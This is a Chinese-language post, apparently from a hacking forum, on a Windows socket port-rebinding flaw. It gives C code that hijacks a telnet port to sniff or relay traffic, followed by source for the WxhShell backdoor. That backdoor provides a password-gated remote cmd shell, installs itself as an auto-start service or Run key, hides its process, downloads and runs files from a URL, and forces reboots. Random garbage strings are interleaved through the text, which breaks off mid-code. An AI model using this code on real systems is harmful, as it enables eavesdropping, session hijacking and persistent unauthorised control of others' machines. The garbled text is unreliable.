在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1"46OCu{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g!n1]- 1 ,oe
e' saddr.sin_family = AF_INET;
PJj{5,#@3 ^|}C!t+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2{s ND bHlG(1uf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
qG"|,bA
}]vj"!?a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}@yvw*c +C7
1".i- 这意味着什么?意味着可以进行如下的攻击:
Hxr2Q]c?u /R#-mY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}yqRz6=YB Bc}<B:q%b 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`7jm Fk D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
mOwgk7s[J :NU-C!eT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
s#w+^Mw$
N>`+{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"M6a_rZ2W FW7+!A&F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
EZ #UdK_ Y0BvN`E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@RotJl/> O;[PEV~ #include
La%\-o #include
)DMu`cD #include
?97MW a #include
DGY#pnCu DWORD WINAPI ClientThread(LPVOID lpParam);
q?z6|]M|u int main()
$n `Zvl2 {
0kgK~\^,.O WORD wVersionRequested;
YN] w_= DWORD ret;
t )Z2"_5 WSADATA wsaData;
]SrKe-*:U BOOL val;
[e)81yZG> SOCKADDR_IN saddr;
oSNB\G< SOCKADDR_IN scaddr;
80$P35Q" int err;
D{o1G?A SOCKET s;
yP0P-8 SOCKET sc;
iM2
EEC int caddsize;
Y=X"YH| HANDLE mt;
MSeO#X DWORD tid;
9BI5qHEp wVersionRequested = MAKEWORD( 2, 2 );
4 E3@O err = WSAStartup( wVersionRequested, &wsaData );
0vG}c5;F if ( err != 0 ) {
{+c/$4< printf("error!WSAStartup failed!\n");
Te'^O,C)y$ return -1;
hx4!P( o1 }
g|<)J-`Q saddr.sin_family = AF_INET;
=khjD[muC 3FUZTX]Q1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\$;\,p p P@9>4}r$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7 g ]]> saddr.sin_port = htons(23);
ulfpop*2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
NOyLZa' {
:&yRvu printf("error!socket failed!\n");
m?<8 ': return -1;
UQ|0Aqwq }
&Wd,l$P<O val = TRUE;
2?t(%uf] //SO_REUSEADDR选项就是可以实现端口重绑定的
t)XV'J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ORQGay {
?d+B]VYw printf("error!setsockopt failed!\n");
;YZw{|gsh return -1;
SJU93n"G/ }
zQ{ Q>"- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
("/*k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$O}gl Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
IX7d[nm39 Ccz:NpK+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
';aPoaO % {
I-/PzL<W P ret=GetLastError();
y=h2_jt printf("error!bind failed!\n");
/l(:H return -1;
q,nj|9z V }
TeqFy( Dr listen(s,2);
"]c:V4S#`A while(1)
(i *1M {
?[!.TU?4N caddsize = sizeof(scaddr);
bG^eP:r //接受连接请求
Jr17pu(t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4n3QW%# if(sc!=INVALID_SOCKET)
JS(KCY 9 {
YD@V2gK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&tMvs<q, if(mt==NULL)
@1n0<V/ {
VPN@q<BV printf("Thread Creat Failed!\n");
@2$PU{dH break;
[-6j4D }
;k
b^mJE }
h(/|` CloseHandle(mt);
@TgCI`E }
@Jm$<E closesocket(s);
fvit+ WSACleanup();
oPa2GW8 return 0;
*qOo,e }
d1y(Jt DWORD WINAPI ClientThread(LPVOID lpParam)
8.k"kXU@n {
J=zZGd% SOCKET ss = (SOCKET)lpParam;
GQF7]j/ SOCKET sc;
(59<Zo unsigned char buf[4096];
X0vkdNgW SOCKADDR_IN saddr;
&)s
A( long num;
SNK+U"Q DWORD val;
AZl=w`;/O% DWORD ret;
xmiF!R //如果是隐藏端口应用的话,可以在此处加一些判断
R63"j\0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y}1|/6eJ saddr.sin_family = AF_INET;
iZjvO`@[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
][G<CO`k saddr.sin_port = htons(23);
_"WQi}Mm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O')Ivm,E {
Kq{s^G printf("error!socket failed!\n");
~ S-x-cZ return -1;
L7D'wf }
g"T~)SQP val = 100;
?Fi-,4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@Wx_4LOhf {
TqQ>\h"&_ ret = GetLastError();
0eQ5LG?) return -1;
$ ~D`-+J }
:~T:&;q0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<[~x]- {
Hlz4f+#I ret = GetLastError();
+ !_^MB kk return -1;
:eIBK }
!5A
nr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
v0$6@K;M4G {
9MHb<~F printf("error!socket connect failed!\n");
hJd#Gc~*M closesocket(sc);
:nwcO3~` closesocket(ss);
PI{sO | return -1;
}1_gemlf
}
JpuW
!I while(1)
>Y2Rr9 {
<CA
lJ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
PKjA@+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
iicrRGp3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zb;'}l;+ num = recv(ss,buf,4096,0);
l>qCT if(num>0)
L\-T[w),z7 send(sc,buf,num,0);
q>Q|:g&: else if(num==0)
siD Sm break;
.5dZaI) num = recv(sc,buf,4096,0);
@Rx/]wyH if(num>0)
Hfc^<q4a. send(ss,buf,num,0);
{qx"/;3V else if(num==0)
wV-cpJ,} break;
Z&.FJZUP }
*E$D, closesocket(ss);
Zb9@U: \ closesocket(sc);
}(hE{((o return 0 ;
MnX2sX| }
^ g4)aaBZ Y^6=_^ :_e.ch:4 ==========================================================
ax3:rl Q]|+Y0y}X 下边附上一个代码,,WXhSHELL
zM@iG]?kc 2<988F ==========================================================
*50Ykf Ft>ixn #include "stdafx.h"
B'
:ZX-Q) P{}Oe
*9" #include <stdio.h>
Lqch~@E&%# #include <string.h>
(+^1'?C8 #include <windows.h>
3)3'-wu #include <winsock2.h>
%hTe%(e #include <winsvc.h>
_X]? #include <urlmon.h>
|/<iydP m.^6ef #pragma comment (lib, "Ws2_32.lib")
aoJ&< vl3 #pragma comment (lib, "urlmon.lib")
{;-$;\D RMvlA'c #define MAX_USER 100 // 最大客户端连接数
8wy"m=>=b} #define BUF_SOCK 200 // sock buffer
]7VK&YfN #define KEY_BUFF 255 // 输入 buffer
u5,IH2BU =Wjm_Rvk9 #define REBOOT 0 // 重启
PkVXn
#define SHUTDOWN 1 // 关机
}F3Z~ "^trHh8= #define DEF_PORT 5000 // 监听端口
~z
aV.3# d@w
I:
7 #define REG_LEN 16 // 注册表键长度
Yb6\+}th #define SVC_LEN 80 // NT服务名长度
qkBnEPWZy qb9%Y/xy // 从dll定义API
v$mA7|(t! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~cZ1=,P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
19=Dd#Nf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v(t&8)Uu typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|
'z)RFqj I+<; Dsp // wxhshell配置信息
:qT>m struct WSCFG {
IcIMa int ws_port; // 监听端口
)8k6GO8| char ws_passstr[REG_LEN]; // 口令
nut7b int ws_autoins; // 安装标记, 1=yes 0=no
,2cw9?< char ws_regname[REG_LEN]; // 注册表键名
+Rh'VZJs char ws_svcname[REG_LEN]; // 服务名
X<?;-HrS; char ws_svcdisp[SVC_LEN]; // 服务显示名
|aVv Lz char ws_svcdesc[SVC_LEN]; // 服务描述信息
z[k2&=c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
brVT int ws_downexe; // 下载执行标记, 1=yes 0=no
:heJ5*!, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0SDCo\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
AVJF[t , # / 4Wcz< };
m0#hG
x w%ip"GT, // default Wxhshell configuration
^Gyl:hN struct WSCFG wscfg={DEF_PORT,
C9nNziws "xuhuanlingzhe",
z^b\hR 1,
-5qO}^i$a "Wxhshell",
1";~"p2( "Wxhshell",
6S8l "WxhShell Service",
asJYGqdF "Wrsky Windows CmdShell Service",
}.hBmhnZmI "Please Input Your Password: ",
@%TQ/L^| 1,
Qz<-xe`o8] "
http://www.wrsky.com/wxhshell.exe",
Hv=coS>g: "Wxhshell.exe"
\.{JS>! };
H}$#aXEAn _9-Ajv // 消息定义模块
]I]dwi_g) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_<~05Eh char *msg_ws_prompt="\n\r? for help\n\r#>";
EtL=_D- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'Oc8[8 char *msg_ws_ext="\n\rExit.";
@2u<Bh}} char *msg_ws_end="\n\rQuit.";
IX>|bA; char *msg_ws_boot="\n\rReboot...";
Y.73I83-j char *msg_ws_poff="\n\rShutdown...";
^*r${Nj char *msg_ws_down="\n\rSave to ";
'|cuVxcE55 8%NX)hZyq} char *msg_ws_err="\n\rErr!";
q"cFw${ char *msg_ws_ok="\n\rOK!";
^g0 Ig2' E`s_Dr}K char ExeFile[MAX_PATH];
cn#a/Hx int nUser = 0;
p<+]+,|\~: HANDLE handles[MAX_USER];
f*I5m= int OsIsNt;
F;ZLoG*U J^XH^`' SERVICE_STATUS serviceStatus;
s,}<5N]U SERVICE_STATUS_HANDLE hServiceStatusHandle;
sDF J YU"Am ! // 函数声明
2ReulL8j int Install(void);
X}!_p& WI int Uninstall(void);
U!'lc}5 int DownloadFile(char *sURL, SOCKET wsh);
%MIu;u FR int Boot(int flag);
/}VQzF void HideProc(void);
she`_'?5 int GetOsVer(void);
+-Dd*yD6< int Wxhshell(SOCKET wsl);
c`>\R<Z ] void TalkWithClient(void *cs);
xvkof
'Q) int CmdShell(SOCKET sock);
dOhV`8l int StartFromService(void);
-`RJk( int StartWxhshell(LPSTR lpCmdLine);
0{,zE s%:fB( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Vy9n3W"FB1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
vW_A.iI"e %,^7J; // 数据结构和表定义
a_ P[J8j SERVICE_TABLE_ENTRY DispatchTable[] =
! $iR:ji {
Y}Dp{ {wscfg.ws_svcname, NTServiceMain},
DYl^6] {NULL, NULL}
_(jE](, };
UqHO S{\Sz Z 0:2x(x9 // 自我安装
1_t Dp&UO int Install(void)
=.%ZF]Oe+# {
1t0FJ@)* char svExeFile[MAX_PATH];
D;L :a`Y HKEY key;
TM}F9!*je strcpy(svExeFile,ExeFile);
D6vn3*,& X+3)DE\2 // 如果是win9x系统,修改注册表设为自启动
) &9=)G if(!OsIsNt) {
N!v@!z9Mu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ArEpH"}@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y(R*Z^c}d, RegCloseKey(key);
!G,$:t1-=V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^Pf&C0xXv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Fv: %"P^ RegCloseKey(key);
4"2/"D0 return 0;
c,qCZ-.Sg }
)k1,oUx }
U&5zs r }
W
wE)XE else {
]UI+6}r t[maUy_A // 如果是NT以上系统,安装为系统服务
CvW((<? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+wSm6*j7= if (schSCManager!=0)
iF0a {
e.+)0)A- SC_HANDLE schService = CreateService
<It7s1O (
@}Ixr{t schSCManager,
$SXxAS1 wscfg.ws_svcname,
I5A^/=bf& wscfg.ws_svcdisp,
;!}SgzSH} SERVICE_ALL_ACCESS,
v;Dcq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Z:hrrq9 SERVICE_AUTO_START,
NQJqS?^W&M SERVICE_ERROR_NORMAL,
:6/OU9f/R svExeFile,
#R8l"]fxr? NULL,
J*Hn/m NULL,
5:d2q<x:{ NULL,
/$z@_U[L NULL,
v (h Xk]S NULL
C]H <L#)ZU );
v6VhXV6$| if (schService!=0)
i6CYD {
"6dbRo5% CloseServiceHandle(schService);
Zz-;jkX) CloseServiceHandle(schSCManager);
@e,Zmx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O}-7 V5 strcat(svExeFile,wscfg.ws_svcname);
_PbfFY # if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Mh|`XO.5I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
w3N%J>4_E RegCloseKey(key);
T/;hIX:R return 0;
$te,\$&} }
l{U 3; }
6y_Z'@L CloseServiceHandle(schSCManager);
) R@gnTe }
-],?kP }
gk1S"H orHD3T%& return 1;
5r<(Z0 }
%`1vIr(7 ewG21 q$ // 自我卸载
'lk74qU$ int Uninstall(void)
UK>=y_FYO {
uq%3;#[0 HKEY key;
Nj_sU0Dt C<t>m_t9 if(!OsIsNt) {
KL mB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BmFME0 RegDeleteValue(key,wscfg.ws_regname);
J\ +gd% RegCloseKey(key);
b6Hk20+B; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<M?#3&5A RegDeleteValue(key,wscfg.ws_regname);
;cn.s, RegCloseKey(key);
GKhwn&qCKb return 0;
^6oqq[$ }
}.cmiC }
Oc9>F\]_m }
U_;J.{n else {
i{ @'\}{L n E0~Y2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!s*''v* if (schSCManager!=0)
8{fz0H.<? {
FqxOHovE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&]F|U3 if (schService!=0)
Ju7C?)x {
idS
RWa if(DeleteService(schService)!=0) {
} !<cph CloseServiceHandle(schService);
w
a<C*o CloseServiceHandle(schSCManager);
qetP93N_* return 0;
yO;C3q }
ENWB|@B CloseServiceHandle(schService);
xO-U]%oq }
$A@3ogoS& CloseServiceHandle(schSCManager);
bM0[V5:jB }
F]A~~P }
r&3o~!
tW:/R@@ return 1;
N8YBu/ }
;u};&sm E9B*K2l^{ // 从指定url下载文件
<o7#?AcPu int DownloadFile(char *sURL, SOCKET wsh)
yXV|4 {
u?3NBc$~A HRESULT hr;
AJ`
v char seps[]= "/";
F2`htM@, char *token;
'#i]SU&* char *file;
AOx3QgC^NO char myURL[MAX_PATH];
lhA
s!\F char myFILE[MAX_PATH];
9>&tMq FNm6/_u3 strcpy(myURL,sURL);
XVDd1#h token=strtok(myURL,seps);
iynS4]`U while(token!=NULL)
EKd3$(^ {
hJo^Wo file=token;
VUC <0WV token=strtok(NULL,seps);
L^Q+Q)zTh }
,Q=)$ `% Eh@T W%9* GetCurrentDirectory(MAX_PATH,myFILE);
KCh strcat(myFILE, "\\");
Mev-M2A strcat(myFILE, file);
Rs F3#H send(wsh,myFILE,strlen(myFILE),0);
G(OT"+O, send(wsh,"...",3,0);
NC.P2^% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
QYTTP6 Gz+ if(hr==S_OK)
$#7J\=GZ+ return 0;
u:uSsAn0$ else
q= yZx) return 1;
3']:1B +8)]m< }
8f,'p}@!d fAMD2C // 系统电源模块
,B~lwF9 int Boot(int flag)
rbK#a)7 {
45)ogg2 HANDLE hToken;
Ku/H= TOKEN_PRIVILEGES tkp;
: \:~y9X0 j[/SXF\= if(OsIsNt) {
mfngbFa1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|J<pLz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~1=.?Ho tkp.PrivilegeCount = 1;
?z@v3(b[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
wyrI8UY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
hD$p;LF if(flag==REBOOT) {
S#h'\/S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(~7m"? return 0;
Z<N&UFw7QJ }
P~\a)Szy else {
WS1&3mOd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
prlyaq;4 return 0;
G/fP(o-Wd }
! 2Xr~u7a }
rv,NQZ else {
6MQs \ J6. if(flag==REBOOT) {
NF/Ti5y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rwL=R, return 0;
%jZp9}h }
&Mhv XHI else {
GX7 eRqz > if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2q-:p8 return 0;
bB;~,W&E1 }
Q 7uAf3 }
*>aZc:: +~w?Xw, return 1;
<V$Y6(uMs }
:dY.D|j* f@!
fW& // win9x进程隐藏模块
i'W_;Y} void HideProc(void)
d; mmM\3] {
qe5tcv}u vo(g0Au) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
YPha9M$AgU if ( hKernel != NULL )
M<{5pH(K {
! fi &@k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9h:jFhsA9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Lp:Nw4 _ FreeLibrary(hKernel);
nDHHYp }
H.YIv50E ?W[J[cb return;
x|@1wQ"6 }
R`@8.]cpPy q+A<g(Xu // 获取操作系统版本
i?GfY
C2q int GetOsVer(void)
a^*cZ?Ta {
<XQN;{xSa OSVERSIONINFO winfo;
AI1@- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:DtZ8$I`]C GetVersionEx(&winfo);
UF&0&`@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Vs_\ykO return 1;
r6d0x else
MzEm*`< return 0;
H GO#e }
!,cQ'*<W8- Z/2,al\ // 客户端句柄模块
f >mhFy int Wxhshell(SOCKET wsl)
,f8}q]FTA {
/S:w&5e SOCKET wsh;
MU_!&(X_ struct sockaddr_in client;
S}oG.r
9 DWORD myID;
7?6xPKQ)H 5h`m]#YEG while(nUser<MAX_USER)
NuC-qG# {
r NxrQ int nSize=sizeof(client);
K\RWC4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
J+ Jt4 if(wsh==INVALID_SOCKET) return 1;
AMbKN2h1f `Y\gSUhzS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yGb a if(handles[nUser]==0)
F&=I7i closesocket(wsh);
; cGv] A+ else
E2^ KK:4s nUser++;
Uc_jQ4e_ }
B#FHf
Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9#v-2QY f ,tW_g return 0;
\hs/D+MCk }
YV5Yx-+3w$ l6iw=b[? // 关闭 socket
$ q%mu void CloseIt(SOCKET wsh)
z-n>9 {
R[x7QlA; closesocket(wsh);
0CPxIF& nUser--;
kUNj4xp) ExitThread(0);
M{C6rm| }
lVP9= 2>F\& // 客户端请求句柄
KMUK`tbaI void TalkWithClient(void *cs)
FX
H0PK {
,"~WkLI~\t TQ;
Z.)L SOCKET wsh=(SOCKET)cs;
"yg.hK` char pwd[SVC_LEN];
*8z"^7?^= char cmd[KEY_BUFF];
[/
AIKZM< char chr[1];
I[}75:^Rt int i,j;
q_cC7p6t ~mtTsZc while (nUser < MAX_USER) {
~j=xi P 0CT}DQ._^N if(wscfg.ws_passstr) {
AT"!{Y "H if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Vwjk[ DOL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\I?w)CE@R //ZeroMemory(pwd,KEY_BUFF);
{}V$`L8 i=0;
7; p4Wg7k} while(i<SVC_LEN) {
`YPe^!`$ N? M // 设置超时
b)N[[sOt fd_set FdRead;
d:A}CBTSY struct timeval TimeOut;
WrNLGkt FD_ZERO(&FdRead);
NwguP FD_SET(wsh,&FdRead);
KacR?Al TimeOut.tv_sec=8;
rVY?6OMkd TimeOut.tv_usec=0;
t{!/#eQC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)IQ* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X:>$8 ^gS `)T&~2n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^7.XGWQ)- pwd
=chr[0]; 1n_;kaY
if(chr[0]==0xd || chr[0]==0xa) { AIb>pL{
pwd=0; tE@FvZC'=
break; <0#^7Z
} ;(7-WnU8N
i++; C\7u<2c
} ~8TF*3[}[
sI'a1$
// 如果是非法用户,关闭 socket qpI]R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u#1%P5r&X
} ]Kv q |}=
k}GjD2m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3QW_k5o
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]fZ<`w8u}
/#f^n]v
while(1) { 6Opa{]
TXjloGv^
ZeroMemory(cmd,KEY_BUFF); 'TL2%T/)t
9e!vA6Fx
// 自动支持客户端 telnet标准 -IadHX}]t
j=0; n@hl2M6.x9
while(j<KEY_BUFF) { >L gVj$Z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OOok hZd`
cmd[j]=chr[0]; /Y,r@D
if(chr[0]==0xa || chr[0]==0xd) { F|Q H
cmd[j]=0; 3V?817&6z
break; ) V36t{
} #Q}_e7t
j++; )n( Q
} UP2}q?4
F?9SiX[\
// 下载文件 Di> rO038
if(strstr(cmd,"http://")) { L;S}s, 2x
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qy
,"X)^#
if(DownloadFile(cmd,wsh)) ?n.)&ZIx0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qNxB{0(D
else VevNG*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }x:0os
} -p`L%xj\
else { A?8\Y{FQ
*t(4 $
switch(cmd[0]) { <C'Z H'p
v`x|]-/M&
// 帮助 :'}@Al9=>
case '?': { 'Dath>Y=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }$&xTW_
break; D<bI2
} G(/DtY]
// 安装 %?9Ok
case 'i': { z\T Lsx
if(Install()) ^z~~VBv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +6l]] *H
else 9[VxskEh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /1d<P! H
break; "UG
K8x
} &J$##B
// 卸载 (u&`Ij9
case 'r': { e4\dpvL
if(Uninstall()) W\8Ln>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z(e^ iH
else ?qmp_2:WU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _'!kuE,*1
break; :U'Cor
H
} e)@3m.
// 显示 wxhshell 所在路径 j+kC-U;
case 'p': { 7C7>y/uS
char svExeFile[MAX_PATH]; 7O)" `
strcpy(svExeFile,"\n\r"); FOH@OY
strcat(svExeFile,ExeFile); \S ."?!U
send(wsh,svExeFile,strlen(svExeFile),0); booRrTS
break; .TpsJXF
} M:n 6BC>t"
// 重启 [/|zH'j:
case 'b': { =sgdkAYwP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2'|8Q\,:4Z
if(Boot(REBOOT)) QA?oJ_}y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fDh]tua
else { .tnkT;T
closesocket(wsh); L(G92,.
ExitThread(0); B{MaMf)
} jVWK0Zba
break; qf#)lyr<D6
} poT&-Ic[
// 关机 (=u'sn:s
case 'd': { 94/BG0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3<:jx~y>
if(Boot(SHUTDOWN)) eSfnB_@x2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y@uh[aS!
else { )C~9E 5E
closesocket(wsh); Q@S-f:!
ExitThread(0); $IX\O
} 3n]79+w@z
break; *
F4UAQzYb
} nP3 E
// 获取shell t;NV $!!
case 's': { h6v07 7qG
CmdShell(wsh); b5a.go
closesocket(wsh); q7\Ovjs0
ExitThread(0); F<|t\KOW
break; B^v8,;jZT
} >IfV\w32
// 退出 f&KdlpxKv
case 'x': { ~h$wH{-U#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -ijC_`>
CloseIt(wsh); vXE0%QE'Q
break; &,:h)
} `A@w7J'
// 离开 9902+pW
case 'q': { j;0vAf
send(wsh,msg_ws_end,strlen(msg_ws_end),0); G`0V)S
closesocket(wsh); viX
+|A4gJ
WSACleanup(); zM#sOg
exit(1); H t(n%;<
break; j5$GFi\kB
} o\VUD
} (s<s@`
} N2C7[z+l`
hz:pbes
// 提示信息 M@et6aud;K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fmX!6Kv
} r6Aneg7
} Vvp[P>
iUi>y.}"P
return; nh+l78
} Z4b||
}<a^</s
// shell模块句柄 Smw QET<H
int CmdShell(SOCKET sock) h^UKT`9vt
{ zi@]83SS#
STARTUPINFO si; cVnJ^*Z
ZeroMemory(&si,sizeof(si)); /] ^#b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8^/I>0EZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sgUud_r)4
PROCESS_INFORMATION ProcessInfo; *ISZlR\#
char cmdline[]="cmd"; KLW n?`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KngTc(^_D
return 0; 942lSyix
} =q7Z qP
FS6`6M.K
// 自身启动模式 as yZe
int StartFromService(void) 2Os1C}m
{ q? qC
typedef struct H,unpZ(
{ I#F!N6;
DWORD ExitStatus; nI.x
DWORD PebBaseAddress; :Qt
DWORD AffinityMask; 8,P-
7^
DWORD BasePriority; dP?Ge}
ULONG UniqueProcessId; fxaJZz$o
